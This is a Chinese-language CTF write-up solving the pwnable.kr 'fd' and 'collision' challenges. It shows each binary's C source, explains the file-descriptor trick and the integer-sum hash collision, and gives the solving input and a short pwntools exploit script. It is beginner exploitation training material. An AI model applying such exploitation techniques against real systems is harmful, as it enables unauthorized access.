pwnable----fd和collsion
本人是萌新無意間看到這個pwnable.kr的網站,來學習學習,嘿嘿。這裏是鏈接
這裏的一個小tip。由於我用的是Ubuntu18.04版本在用ssh連接時報錯,記錄一下解決方法。
vim /etc/host
再將pwnable.kr的IP地址加在後面就行了
fd
- ssh鏈接網址
ssh [email protected] -p2222
輸入默認密碼:guest
-
先ls,發現有flag直接白給,發現不行,只有老老實實的做
-
看源代碼lfd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
發現在運行時要輸入一個數,如果這個數小於2,直接GG,當這個數是0x1234(10進制就是4660)就可以繼續下去;再者你還要讀取fd裏的內容,如果buf===LETMEWIN就可以cat flag.
- 方法
./fd 4660
LETMEWIN
collsion
- ssh連接,登錄
ssh [email protected] -p2222
- ls先,在看看有哪些
還是先看代碼。主要看main。
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
-
分析
1 .首先傳入參數,不然GG
2 .長度還要是20個字節
3 .如果check_password函數返回值===全局變量hashcode,那就能cat flag。否則GG。 -
解答
1 .構造hashcode,讓它hashcode=A+B*4,(ip中5個int就是hashcode的值)
2 .開始exp
from pwn import *
argc=p32(0x19548164)+p32(0x2222222)*4
col=process(['./col',argc])
print col.recvline()
圖片: